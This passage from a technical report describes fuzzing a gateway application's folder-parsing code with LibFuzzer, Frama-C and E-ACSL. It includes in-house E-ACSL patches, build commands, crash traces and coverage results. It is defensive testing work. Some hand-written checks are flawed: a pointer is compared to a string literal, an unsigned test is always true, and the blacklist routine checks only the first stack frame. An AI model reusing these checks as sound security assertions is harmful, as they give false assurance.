During the period of time the CEA fixed the different issues met so far, we explored and 
instrumented in advance some functions at the origin of the crashes. 

This consists in (partially automatically) screening the callstack (through the backtrace) and 
disabling the memory allocation/free in E-ACSL when the calling function is blacklisted (i.e. 
belonging to a list of functions for which we do not want E-ACSL to manage the memory 
allocation). 

This requires some patches done in-house at DA, and partly presented in the code below (extract 
from E-ACSL library: frama-c-XXX/src/plugins/e-acsl/share/e-acsl/segment_model/ 

e_acsl_segment_tracking.h): 

 

... 

#include "e_acsl_trace.h" 

 

/*! \brief Record allocation of a given memory block and update shadows 

 *  using offset-based encoding. 

 * 

 * \param ptr - pointer to a base memory address of the stack memory block. 

 * \param size - size of the stack memory block. */ 

static void shadow_alloca(void *ptr, size_t size) { 

 

if (disable_fun("openssl")) return; 

 

  DVALIDATE_IS_ON_STATIC(ptr, size); 

#ifdef E_ACSL_TEMPORAL 

  /* Make sure that during temporal analysis there is 

   * sufficient space to store an origin timestamp. 

   * NOTE: This does not apply to globals, because all the globals 

   * have the timestamp of `1`. */ 

  if (!IS_ON_GLOBAL(ptr)) { 

    DVALIDATE_STATIC_SUFFICIENTLY_ALIGNED((uintptr_t)ptr, 4); 

  } 

#endif 

... 

 

This extract calls a function named disable_fun() which is a version modified in-house of the E-

ACSL trace() function (e_acsl_trace.h), and which makes use of addr2line which is a binutils 
functionality available on Linux: 

 

// strstr is re-implemented locally to bypass compilation issues with E-ACSL 

char * local_strstr(string, substring) 

    register char *string;  

    char *substring;  

{ 

    register char *a, *b; 

 

    b = substring; 

    if (*b == 0) { 

 return string; 

    } 

    for ( ; *string != 0; string += 1) { 

 if (*string != *b) { 

     continue; 
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 } 

 a = string; 

 while (1) { 

     if (*b == 0) { 

  return string; 

     } 

     if (*a++ != *b++) { 

  break; 

     } 

 } 

 b = substring; 

    } 

    return (char *) 0; 

} 

 

unsigned int disable_fun (char * black_listed_fun) { 

  int size = 24; 

  void **bb = private_malloc(sizeof(void*)*size); 

  native_backtrace(bb, size); 

 

  char executable [PATH_MAX]; 

  rtl_sprintf(executable, "/proc/%d/exe", getpid()); 

 

  while (*bb) { 

    char *addr = (char*)private_malloc(21); 

    rtl_sprintf(addr,"%p", *bb); 

    char *ar[] = { "addr2line", "-f", "-p", "-C", "-s", "-e", executable, addr, NULL}; 

    ipr_t *ipr = shexec(ar, NULL); 

    if (ipr) { 

      char *outs = (char*)ipr->stdouts; 

      if (outs && local_strstr(outs, black_listed_fun)) { 

 STDOUT("/!\\ disable_fun: %s found in the callstack\n",black_listed_fun); 

 return 1; 

      } else { 

   return 0; 

      } 

    } 

    bb++; 

  } 

  return 0; 

} 

 

With the function disable_fun(), we are able to discover what the callstack contains, and thus 
bypass some of the functions listed, typically the ones which yield a crash of the E-ACSL plug-in. 
In our case, it is not possible to know in advance which callstack of functions could lead to an 
issue, so we define incrementally the statements pointing to the functions to disable. 

 

Of course, these changes must be applied to other functions in the E-ACSL share library (free 
memory, etc.). 

These instrumentations permit, in advance, to speculate on the results of the fixes expected from 
the CEA. Later, the CEA provides us with a patched version of E-ACSL, permitting the following 
new functionality (extract from the E-ACSL manual): 

 

By default, the E-ACSL plug-in generates code for checking at runtime all the annotations 
of the analyzed code. Yet, it is possible to handle only annotations of a given set of 
functions through the option -e-acsl-functions. This way, no runtime check is generated for 
annotations for all the other functions. It allows the user to focus on a particular part of the 
code, while reducing the global runtime overhead. 
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This improvement of E-ACSL leads us to identify the functions to be instrumented, by automatic 
means. We do this through the development of a small Frama-C script which yields all functions (in 
their module) having a function body (only these implemented functions will be then instrumented 
by E-ACSL). 

The new release of E-ACSL also provides the following “Partial Instrumentation” option defined as 
follows (extract from the E-ACSL manual): 

 

By default, the E-ACSL plug-in generates all the necessary pieces of code for checking at 
runtime the provided annotations. This amount of instrumentation may be quite large. It is 
possible to reduce it by manually specifying the set of functions to be instrumented through 
the option -e-acsl-instrument. 

This way, contrary to the option -e-acsl-functions, all the annotations are still checked at 
runtime. However, since less code is generated, the generated program usually runs faster. 
However, it may lead to unsound verdicts if it would have been necessary to generate the 
instrumentation for one of the uninstrumented functions.  

A typical usage of this option consists in specifying the set of functions to be not 
instrumented. 

For instance, to instrument all functions except functions f and g, you should specify -e-
acsl-instrument=+@all,-f,-g. 

 

We develop some small OCaml scripts under Frama-C to carry on this step automatically (the 
platform allows final users to write their own commands using the large Frama-C API): 

open Format 

 

let main() = 

let l = Array.to_list (Sys.argv) in  

let l = List.hd (List.rev l) in 

 

Format.printf("\nList of functions with a declaration:\n-@all"); 

Globals.Functions.iter(fun kf -> 

 try 

  let _fd = Kernel_function.get_definition kf in 

  Format.printf ",%s" (Kernel_function.get_name kf)  

 with _ -> () 

); 

Format.printf("\n\n") 

 

let () = Kernel.Unicode.off();  

 Db.Main.extend main 

 

The code above is just a simple illustration, quite self-explanatory24, which permits to automatically 
generate the –e-acsl-functions option contents: 

-e-acsl-functions bse,  

... 

[ FUNCTION NAMES REMOVED ] 

... 

,XCheckSignatureFileProcess 

 

And another script (not provided here as very similar to the previous one) rapidly permits to 
generate the –e-acsl-instrument option contents:  

                                                

24 Otherwise, the reader is invited to read: http://frama-c.com/download/frama-c-plugin-development-guide.pdf   

http://frama-c.com/download/frama-c-plugin-development-guide.pdf
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-e-acsl-instrument +bse, 

... 

[ FUNCTION NAMES REMOVED ] 

... 

,+XCheckSignatureFileProcess 

 

With these two additional options, we help E-ACSL to focus only on functions considered of 
interest when fuzzing. 

This will represent a valuable improvement with regards to execution time, as the instrumentation 
will only concern functions assessed as potentially vulnerable (for instance according to the risk 
level analysis). 

 

To permit the debugging of memory allocation management by E-ACSL, the following comment in 
the E-ACSL code is removed: 

e-acsl/share/e-acsl/segment_model/e_acsl_segment_mmodel.c:    //DEBUG_PRINT_LAYOUT; 

 

Then e-acsl-gcc.sh, the E-ACSL script, can be run on our source code: 

$ e-acsl-gcc.sh --rt-verbose --rt-debug -G clang-6.0 -k -c --rte=all -o gateway.eacsl.c -

O gateway.exe --oexec-e-acsl=gateway.eacsl.exe complement.c my_assert.c *.i --frama-c-

extra="-main LLVMFuzzerTestOneInput -wp -wp-timeout 1 -remove-unused-specified-functions" 

--e-acsl-extra="-e-acsl-no-validate-format-strings -e-acsl-no-full-mmodel -e-acsl-

functions bse, 

... 

[ FUNCTION NAMES REMOVED ] 

... 

,XCheckSignatureFileProcess 

 -e-acsl-instrument=-@all,+ " -e-acsl-instrument +bse, 

... 

[ FUNCTION NAMES REMOVED ] 

... 

,+XCheckSignatureFileProcess 

 \ 

--cpp-flags="-fsanitize=fuzzer -I/usr/include/libxmlYYY -DE_ACSL_EXTERNAL_ASSERT -

D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -

DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsecXXX -

I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include -DE_ACSL_VERBOSE -

DE_ACSL_DEBUG_VERBOSE -DPGM_TLS_SIZE=32*MB" --ld-flags="-lxmlXXX -L/usr/lib/x86_64-linux-

gnu -lxmlsecXXX-openssl -lxmlsecXXX -lxslt -lxmlXXX -lforcryptography -g3 -rdynamic" 

Unfortunately, the same issues are raised: 

$ ./gateway.eacsl.exe  

/* ========================================================= */ 

 * E-ACSL instrumented run 

 * Memory tracking: shadow memory 

 *   Heap  128 MB 

 *   Stack 32 MB 

 * Temporal checks: disabled 

 * Execution mode:  debug 

 * Assertions mode: pass through 

 * Validity notion: strong 

 * Format Checks:   disabled 

/* ========================================================= */ 

INFO: Seed: 95784930 

INFO: Loaded 1 modules   (2011 inline 8-bit counters): 2011 [0x6d64a0, 0x6d6c7b),  

INFO: Loaded 1 PC tables (2011 PCs): 2011 [0x4b99b8,0x4c1768),  

INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes 

>>> HEAP --------------------- 

   Application: 128 MB [139798397686752, 139798531904480] 
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   Primary    : 128 MB [139798262879200, 139798397096928]{ Offset: 134807552 } 

   Secondary  : 16 MB [139798245512160, 139798262289376]{ Offset: 152174592 } 

>>> STACK -------------------- 

   Application: 32 MB [140722430050339, 140722463604771] 

   Primary    : 32 MB [139798067577824, 139798101132256]{ Offset: 924362472515 } 

   Secondary  : 32 MB [139798033433568, 139798066988000]{ Offset: 924396616771 } 

>>> GLOBAL ------------------- 

   Application: 31 MB [4194304, 37186936] 

   Primary    : 31 MB [139798211957728, 139798244950360]{ Offset: -139798207763424 } 

   Secondary  : 31 MB [139798178403296, 139798211395928]{ Offset: -139798174208992 } 

>>> TLS ---------------------- 

   Application: 32 MB [139798660510648, 139798694065080] 

   Primary    : 32 MB [139798144259040, 139798177813472]{ Offset: 516251608 } 

   Secondary  : 32 MB [139798110114784, 139798143669216]{ Offset: 550395864 } 

>>> -------------------------- 

Address 0x13979-86406-25504 not on STATIC at /usr/local/bin/../share/frama-c/e-

acsl/segment_model/e_acsl_segment_tracking.h:517 

/** Backtrace **************************/ 

trace à e_acsl_trace.h:76 

 - exec_abort à e_acsl_assert.h:59 

 - vassert_fail à e_acsl_assert.h:91 

 - shadow_alloca à e_acsl_segment_tracking.h:517 

 - __e_acsl_memory_init à e_acsl_segment_mmodel.c:242 

 - LLVMFuzzerTestOneInput à gateway.eacsl.c:14123 

 - fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) à :? 

 - fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> >, 

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> > > > const&) à :? 

 - fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, 

std::char_traits<char>, std::allocator<char> >, 

fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, 

std::allocator<char> > > > const&) à :? 

 - fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) à :? 

 - main à :? 

/***************************************/ 

==14198== ERROR: libFuzzer: deadly signal 

.../... 

 

(/home/unity/Desktop/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/gateway.eacsl.exe+0x410ec9

) 

 

NOTE: libFuzzer has rudimentary signal handlers. 

      Combine libFuzzer with AddressSanitizer or similar for better crash reports. 

SUMMARY: libFuzzer: deadly signal 

MS: 0 ; base unit: 0000000000000000000000000000000000000000 

 

During several days, and also several iterations between DA and the CEA, we tried different 
combinations among the different parameters responsible for the E-ACSL memory shadowing 
partition of the application under test. 

These parameters correspond to the size of these memory segments: 

... 

>>> HEAP --------------------- 

   Application: 128 MB [140176110363616, 140176244581344] 

   Primary    : 128 MB [140175975556064, 140176109773792]{ Offset: 134807552 } 

   Secondary  : 16 MB [140175958189024, 140175974966240]{ Offset: 152174592 } 

>>> STACK -------------------- 

   Application: 32 MB [140735570034723, 140735603589155] 

   Primary    : 32 MB [140175574209504, 140175607763936]{ Offset: 559995825219 } 

   Secondary  : 32 MB [140175540065248, 140175573619680]{ Offset: 560029969475 } 

>>> GLOBAL ------------------- 

   Application: 33 MB [4194304, 39579096] 

   Primary    : 33 MB [140175922275296, 140175957660088]{ Offset: -140175918080992 } 

   Secondary  : 33 MB [140175886361568, 140175921746360]{ Offset: -140175882167264 } 

>>> TLS ---------------------- 
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   Application: 128 MB [140176322855864, 140176457073592] 

   Primary    : 128 MB [140175751554016, 140175885771744]{ Offset: 571301848 } 

   Secondary  : 128 MB [140175616746464, 140175750964192]{ Offset: 706109400 } 

>>> -------------------------- 

... 

 

At the “end of the game”, no tuning permitted to avoid either “not on STATIC” nor “not 
nullified” errors raised by E-ACSL (whatever the fuzzer was AFL or LibFuzzer). 

Of course, these issues are also investigated by CEA, but could require some important 
modifications of E-ACSL (indeed a new architecture of the plug-in is expected in the coming 
months and years, and might address these issues). The experimentations done by DA in 
the scope of VESSEDIA have contributed to the test of E-ACSL, and hopefully a more 
robust implementation in the future. 

This said, E-ACSL is still fully applicable to other kinds of verification at runtime, still 
with the CURSOR approach. This is the case when fuzzing is not included in the 
verification process. For instance, the user may plan to robustify its application by 
only translating potentially vulnerable properties into defensive programming 
(including counter-measures, ...)  and use this instrumented code  during executions 
in operations (see Chapter 5 for CURSOR methodology). 

 

The issues met so far are due to the fact that external libraries are loaded at the initialization of the 
execution, with some operations (allocations) on memory which cannot be resized or guessed 
efficiently by E-ACSL processing. 

We then decided to apply the CURSOR approach to a slice of the source code, compliant with 
fuzzing activities, excluding parts of the application that could make calls to problematic external 
libraries. 

After some reflections and tries, we determined a subset of functions not calling neither libxmlYYY, 

nor libopenssl (and a few other ones), but still of interest from a cybersecurity point of view. 

These functions deal with the folder and file management, which can be a source of weaknesses, 
worth fuzzing as they handle some primitives and string pointers which could be good candidates 
for intensive testing. 

The entry point for this is a function named parseConfDirPath(). 

 

Frama-C comes with a Slicer (for code reduction) which can be driven by different criteria. The one 

we choose is the return point of the function under consideration, namely parseConfDirPath:  

 

frama-c -slice-return parseConfDirPath all.c -main parseConfDirPath -remove-unused-

specified-functions -cpp-extra-args=" -I/usr/include/libxmlYYY -DE_ACSL_EXTERNAL_ASSERT -

D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -

DXMLSEC_NO_GOSTZZZZ=1 -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsecXXX -

I/usr/include/libxmlYYY -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include" -frama-c-stdlib -then-

last -print -ocode sliced.c 

 

 

We must add to the slices code the LLVMTestOneInput() function, and an “assert” function 

__e_acsl_assert() which will be called in case of property violation: 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

 pvl_e_t r = parseConfDirPath((char const * const) Data,(void*)0); 

 return 1; 

} 
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void __e_acsl_assert(int pred,char *kind,char *fct,char *pred_txt,int line) { 

 if(!pred) { 

  printf ("   (!)   %s in %s (%d)   %s\n",kind,fct,line,pred_txt); 

  // abort(); 

 } 

} 

 

We can then compile the sliced code (with “-O3” optimization option, and no more “-g” option, as 
for now performance at runtime is mandatory): 

/usr/bin/clang-7 -fsanitize=fuzzer -DE_ACSL_EXTERNAL_ASSERT -I/usr/include -std=c99 -m64 

-O3 sliced.c -o gateway.exe 

 

Now the executable can run with no trouble: 

./gateway.exe 

 

Of course, we can also add some security properties (later translated as executable statements) to 
check during fuzzing. These functions/statements are hand-written at this stage as E-ACSL cannot 
be fully exploited with a fuzzer. However, these properties are inspired or translated from alarms 
generated by EVA or RTE plug-ins during the previous steps presented in this section.  

For instance, the following statements are added, as they correspond to typical asserts raised by 
EVA or RTE: 

... 

      __e_acsl_assert(0 <= tmp_6 - 1,"unsigned_overflow","parseConfDirPath","assert rte: 

unsigned_overflow: 0 ≤ tmp_6 - 1;",341); 

... 

      __e_acsl_assert((confDirPath + (unsigned long)(tmp_6 - 

1))=="\0","mem_access","parseConfDirPath","assert rte: mem_access: 

\valid_read(confDirPath + (unsigned long)(tmp_6 - 1))",347); 

... 

These asserts check for an integer overflow and the validity of a pointer with an offset. 

The tests on the executable are launched with the following options: 

./gateway.exe -only_ascii=1 -max_len=258 -jobs=2 sorties/ 

 

The command line above can be read as: at this stage of test, we are only interested in ascii 
inputs, for strings of max length at 258, and with 2 concurrent processes (sharing the same result 
folder). Finally, the results are stored into the “sorties” folder.  

“sorties” is named the corpus, and contains initial tests and new tests computed (inputs 
found) by the LibFuzzer. 

 

The tests are going smoothly then. After some time, we have to check the coverage obtained by 
the LibFuzzer. 

The following code permits to automatize the measure of the coverage: 

cat > PourCoverage.c << EOF 

#include <stdlib.h> 

#include <stdio.h> 

#include <assert.h> 

  

extern int LLVMFuzzerTestOneInput(const unsigned char *data, size_t size); 

__attribute__((weak)) extern int LLVMFuzzerInitialize(int *argc, char ***argv); 
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int main(int argc, char **argv) { 

printf("PourCoverage: executing %d inputs\n", argc - 1); 

if (LLVMFuzzerInitialize) LLVMFuzzerInitialize(&argc, &argv); 

for (int i = 1; i < argc; i++) { 

 printf("PourCoverage is executing ... %s\n", argv[i]); 

 FILE *f = fopen(argv[i], "r"); 

 //assert(f); 

 fseek(f, 0, SEEK_END); 

 size_t len = ftell(f); 

 fseek(f, 0, SEEK_SET); 

 unsigned char *buf = (unsigned char*)malloc(len); 

 size_t n_read = fread(buf, 1, len, f); 

 LLVMFuzzerTestOneInput(buf, len); 

 free(buf); 

 fprintf(stderr, "Done:    %s: (%zd bytes)\n", argv[i], n_read); 

 } 

} 

EOF 

 

We can then instrument, compile, perform the tests, and launch the coverage analyses:  

$ clang-7 -fprofile-instr-generate -fcoverage-mapping sliced.c PourCoverage.c -o 

pour_coverage.exe 

... 

 

$ ./pour_coverage.exe sorties/* 

... 

 

$ llvm-profdata-7 merge -sparse *.profraw -o default.profdata 

... 

 

$ llvm-cov-7 show pour_coverage.exe -instr-profile=default.profdata # -

name=parseConfDirPath 

... 

 

$ llvm-cov-7 report pour_coverage.exe -instr-profile=default.profdata 

... 

 

The “llvm-cov-7 show ...” command permits to display the code, statement by statement, with the 
line number in the first column, and the number of times the statement was executed by the input 

scenarios from the corpus (“sorties” folder) in the second column. Below, we present an extract of 
the coverage file after computations: 

~/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/PourCoverage.c: 

    1|       |#include <stdlib.h> 

    2|       |#include <stdio.h> 

    3|       |#include <assert.h> 

    4|       |  

    5|       |extern int LLVMFuzzerTestOneInput(const unsigned char *data, size_t size); 

    6|       |__attribute__((weak)) extern int LLVMFuzzerInitialize(int *argc, char 

***argv); 

    7|       | 

    8|      1|int main(int argc, char **argv) { 

    9|      1|printf("PourCoverage: running %d inputs\n", argc - 1); 

   10|      1|if (LLVMFuzzerInitialize) LLVMFuzzerInitialize(&argc, &argv); 

   11|      6|for (int i = 1; i < argc; i++) { 

   12|      5|fprintf(stderr, "PourCoverage is executing ... %s\n", argv[i]); 

   13|      5|FILE *f = fopen(argv[i], "r"); 

   14|      5|//assert(f); 

   15|      5|fseek(f, 0, SEEK_END); 

   16|      5|size_t len = ftell(f); 

   17|      5|fseek(f, 0, SEEK_SET); 

   18|      5|unsigned char *buf = (unsigned char*)malloc(len); 

   19|      5|size_t n_read = fread(buf, 1, len, f); 

   20|      5|LLVMFuzzerTestOneInput(buf, len); 
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   21|      5|free(buf); 

   22|      5|fprintf(stderr, "Done:    %s: (%zd bytes)\n", argv[i], n_read); 

   23|      5|} 

   24|      1|} 

 

~/Vessedia/Gyesno_to_Pnoyes.20181218/COMPIL/sliced.c: 

  .../... 

  253|       | 

  254|      6|void __e_acsl_assert(int pred,char *kind,char *fct,char *pred_txt,int line) 

{ 

  255|      6| if(!pred) { 

  256|      3|  //printf ("   (!)   %s in %s (%d)   

%s\n",kind,fct,line,pred_txt); 

  257|      3|  //abort(); 

  258|      3| } 

  259|      6|} 

  260|       | 

  261|       | 

  262|       |extern char * __builtin_strncat(char *, const char *, unsigned long); 

  263|       |/* 

  264|       |extern int ( __builtin_strncat)(char *x_0, 

  265|       |                                                    char const *x_1, 

  266|       |                                                    unsigned long x_2); 

  267|       |*/ 

  268|       | 

  269|       |__inline static retSimpleValue setTreePathsConfMember_slice_1(char const * 

const confDirPath, 

  270|       |                                                              char const * 

const fileName, 

  271|       |                                                              char * const 

output, 

  272|       |                                                              unsigned int 

const maxOutputSize) 

  273|      3|{ 

  274|      3|  retSimpleValue ret = SUCCESS; 

  275|      3|  if ((char *)0 == output) ret = FAILURE; 

  276|      3|  if (SUCCESS == ret) { 

  277|      0|    size_t tmp; 

  278|      0|    size_t tmp_0; 

  279|      0|    size_t tmp_1; 

  280|      0|    tmp = strlen(confDirPath); 

  281|      0|    tmp_0 = strlen(fileName); 

  282|      0|    tmp_1 = strlen("/"); 

  283|      0|    /*@ assert rte: unsigned_overflow: 0 ≤ tmp + tmp_0; */ ; 

  284|      0|    /*@ assert rte: unsigned_overflow: tmp + tmp_0 ≤ 18446744073709551615; 

  285|      0|     */ 

  286|      0|    ; 

  287|      0|    /*@ 

  288|      0|    assert 

  289|      0|    rte: unsigned_overflow: 0 ≤ (unsigned long)(tmp + tmp_0) + tmp_1; */ 

 

.../... 

 

  336|      5|    if ((unsigned int)AUTHENT_SUCCESS == ret) { 

  337|      3|      size_t tmp_6; 

  338|      3|      tmp_6 = strlen(confDirPath); 

  339|      3|      /*@ assert rte: unsigned_overflow: 0 ≤ tmp_6 - 1; */ ; 

  340|      3|       

  341|      3|      __e_acsl_assert(0 <= tmp_6 - 

1,"unsigned_overflow","parseConfDirPath","assert rte: unsigned_overflow: 0 ≤ tmp_6 - 

1;",341); 

  342|      3|       

  343|      3|      /*@ 

  344|      3|      assert 

  345|      3|      rte: mem_access: \valid_read(confDirPath + (unsigned long)(tmp_6 - 

1)); 

  346|      3|       */ 
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  347|      3|      __e_acsl_assert((confDirPath + (unsigned long)(tmp_6 - 

1))=="\0","mem_access","parseConfDirPath","assert rte: mem_access: 

\\valid_read(confDirPath + (unsigned long)(tmp_6 - 2))",347); 

  348|      3|      ; 

  349|      3| 

 

.../... 

 

  964|       | 

  965|       |typedef unsigned char uint8_t ; 

  966|      5|int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

  967|      5| pvl_e_t r = parseConfDirPath((char const * const) Data,(void*)0); 

  968|      5| return 1; 

  969|      5|} 

  970|       | 

The two properties and corresponding executable statements are displayed in the code extract 
above. 

 

Now, the llvm-cov report command permits to show the consolidated coverage for the tests 
performed by LibFuzzer (extract): 

$ llvm-cov-7 report pour_coverage.exe -instr-profile=default.profdata 

...  Executed       Lines      Missed Lines     Cover 

...  ------------------------------------------------------------------------------------        

     100.00%          17                 0   100.00% 

... ------------------------------------------------------------------------------------- 

     100.00%         195                27    86.15% 

 

During the fuzzing campaign, LibFuzzer provides also some useful information (see LibFuzzer for 
more information) as the number of input cases found, the number of executions per second, the 
use of memory, etc., on each of the two jobs launched in parallel: 

================================= Job 0 exited with exit code 2 ============ 

INFO: Seed: 2769335937 

INFO: Loaded 1 modules   (39 inline 8-bit counters): 39 [0x684100, 0x684127),  

INFO: Loaded 1 PC tables (39 PCs): 39 [0x473420,0x473690),  

INFO:        5 files found in sorties/ 

INFO: seed corpus: files: 5 min: 1b max: 249b total: 255b rss: 23Mb 

#6 INITED cov: 9 ft: 11 corp: 4/6b lim: 4 exec/s: 0 rss: 23Mb 

#1048576 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 524288 rss: 23Mb 

#2097152 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 419430 rss: 23Mb 

#4194304 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 381300 rss: 23Mb 

#8388608 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 381300 rss: 23Mb 

#16777216 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 372827 rss: 23Mb 

#33554432 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 364722 rss: 23Mb 

#67108864 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 360800 rss: 23Mb 

#134217728 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 350437 rss: 23Mb 

#268435456 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 346815 rss: 23Mb 

#536870912 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 340654 rss: 23Mb 

#1073741824 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 336069 rss: 23Mb 

==13671== libFuzzer: run interrupted; exiting 

================== Job 1 exited with exit code 2 ============ 

INFO: Seed: 2769335944 

INFO: Loaded 1 modules   (39 inline 8-bit counters): 39 [0x684100, 0x684127),  

INFO: Loaded 1 PC tables (39 PCs): 39 [0x473420,0x473690),  

INFO:        5 files found in sorties/ 

INFO: seed corpus: files: 5 min: 1b max: 249b total: 255b rss: 23Mb 

#6 INITED cov: 9 ft: 11 corp: 4/6b lim: 4 exec/s: 0 rss: 23Mb 

#1048576 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 524288 rss: 23Mb 

#2097152 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 419430 rss: 23Mb 

#4194304 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 381300 rss: 23Mb 

#8388608 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 381300 rss: 23Mb 

#16777216 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 372827 rss: 23Mb 

#33554432 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 372827 rss: 23Mb 
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#67108864 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 364722 rss: 23Mb 

#134217728 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 352277 rss: 23Mb 

#268435456 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 347264 rss: 23Mb 

#536870912 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 340870 rss: 23Mb 

#1073741824 pulse  cov: 9 ft: 11 corp: 4/6b lim: 258 exec/s: 336490 rss: 23Mb 

 

Indeed, it is worth giving a look to the coverage in "show" mode (in order to see the statements not 
covered) to investigate more in depth both the behaviour of the fuzzer, and the code itself. 

This might lead to define new entries (in the “sorties” folder) that will help to obtain a better 
coverage with the LibFuzzer. 

 

Then the sliced.c file is completed with the definition of some parameters functionally needed to 
cover more code: 

TreePathsConf tpc = {.fileConfPki="./Conf/fdsPa.xml" ,  

.fileIssuers="./Conf/issuers.xml" }; 

typedef unsigned char uint8_t ; 

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

 pvl_e_t r = parseConfDirPath((char const * const) Data, &tpc); 

 return 1; 

} 

 

Which provides a better coverage as expected (compare the second column added by llvm-cov 
with the one of the previous report): 

 

.../... 

 

  269|       |__inline static retSimpleValue setTreePathsConfMember_slice_1(char const * 

const confDirPath, 

  270|       |                                                              char const * 

const fileName, 

  271|       |                                                              char * const 

output, 

  272|       |                                                              unsigned int 

const maxOutputSize) 

  273|     25|{ 

  274|     25|  retSimpleValue ret = SUCCESS; 

  275|     25|  if ((char *)0 == output) ret = FAILURE; 

  276|     25|  if (SUCCESS == ret) { 

  277|     25|    size_t tmp; 

  278|     25|    size_t tmp_0; 

  279|     25|    size_t tmp_1; 

  280|     25|    tmp = strlen(confDirPath); 

  281|     25|    tmp_0 = strlen(fileName); 

  282|     25|    tmp_1 = strlen("/"); 

 

.../... 

 

  297|     25|    if ((unsigned long)maxOutputSize < (tmp + tmp_0) + tmp_1) ret = 

FAILURE; 

  298|     25|  } 

  299|     25|  if (SUCCESS == ret) ret = stringCopy_slice_1(confDirPath,output, 

  300|      8|                                               maxOutputSize); 

  301|     25|  if (SUCCESS == ret) __builtin_strncat(output,fileName, 

  302|      8|                                        (unsigned long)maxOutputSize); 

  303|     25|  return ret; 

  304|     25|} 

  305|       | 

  306|       |__inline static retSimpleValue setTreePathsConf_slice_1(char const * const 

confDirPath, 
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  307|       |                                                        TreePathsConf * 

const pTreePathsConf) 

  308|     21|{ 

  309|     21|  retSimpleValue ret = 

  310|     21|    setTreePathsConfMember_slice_1(confDirPath,"pkiPath.xml", 

  311|     21|                                   pTreePathsConf->fileConfPki, 

  312|     21|                                   (unsigned int)257); 

  313|     21|  if (SUCCESS == ret) ret = setTreePathsConfMember_slice_1(confDirPath, 

  314|      4|                                                           "issuers.xml", 

  315|      4|                                                           pTreePathsConf-

>fileIssuers, 

  316|      4|                                                           (unsigned 

int)257); 

  317|     21|  return ret; 

  318|     21|} 

  319|       | 

  320|       |pvl_e_t parseConfDirPath(char const * const confDirPath, 

  321|       |                         TreePathsConf * const pTreePathsConf) 

  322|     32|{ 

  323|     32|  pvl_e_t ret = AUTHENT_SUCCESS; 

  324|     32|  if ((char const *)0 == confDirPath) ret = FAILURE_WRONG_INPUT_PARAMETERS; 

  325|     32|  else { 

  326|     32|    { 

  327|     32|      size_t tmp; 

  328|     32|      tmp = strlen(confDirPath); 

  329|     32|      if ((unsigned long)0 == tmp) ret = FAILURE_WRONG_INPUT_PARAMETERS; 

  330|     32|    } 

  331|     32|    if ((unsigned int)AUTHENT_SUCCESS == ret) { 

  332|     31|      retSimpleValue tmp_0; 

  333|     31|      tmp_0 = checkDirExistAndReadableMode_slice_1(confDirPath); 

  334|     31|      if (SUCCESS != tmp_0) ret = FAILURE_WRONG_INPUT_PARAMETERS; 

  335|     31|    } 

  336|     32|    if ((unsigned int)AUTHENT_SUCCESS == ret) { 

  337|     21|      size_t tmp_6; 

  338|     21|      tmp_6 = strlen(confDirPath); 

  339|     21|      /*@ assert rte: unsigned_overflow: 0 ≤ tmp_6 - 1; */ ; 

  340|     21|       

  341|     21|      __e_acsl_assert(0 <= tmp_6 - 

1,"unsigned_overflow","parseConfDirPath","assert rte: unsigned_overflow: 0 ≤ tmp_6 - 

1;",341); 

  342|     21|       

  343|     21|      /*@ 

  344|     21|      assert 

  345|     21|      rte: mem_access: \valid_read(confDirPath + (unsigned long)(tmp_6 - 

1)); 

  346|     21|       */ 

  347|     21|      __e_acsl_assert((confDirPath + (unsigned long)(tmp_6 - 

1))=="\0","mem_access","parseConfDirPath","assert rte: mem_access: 

\\valid_read(confDirPath + (unsigned long)(tmp_6 - 2))",347); 

  348|     21|      ; 

  349|     21| 

 

.../... 

 

  964|       | 

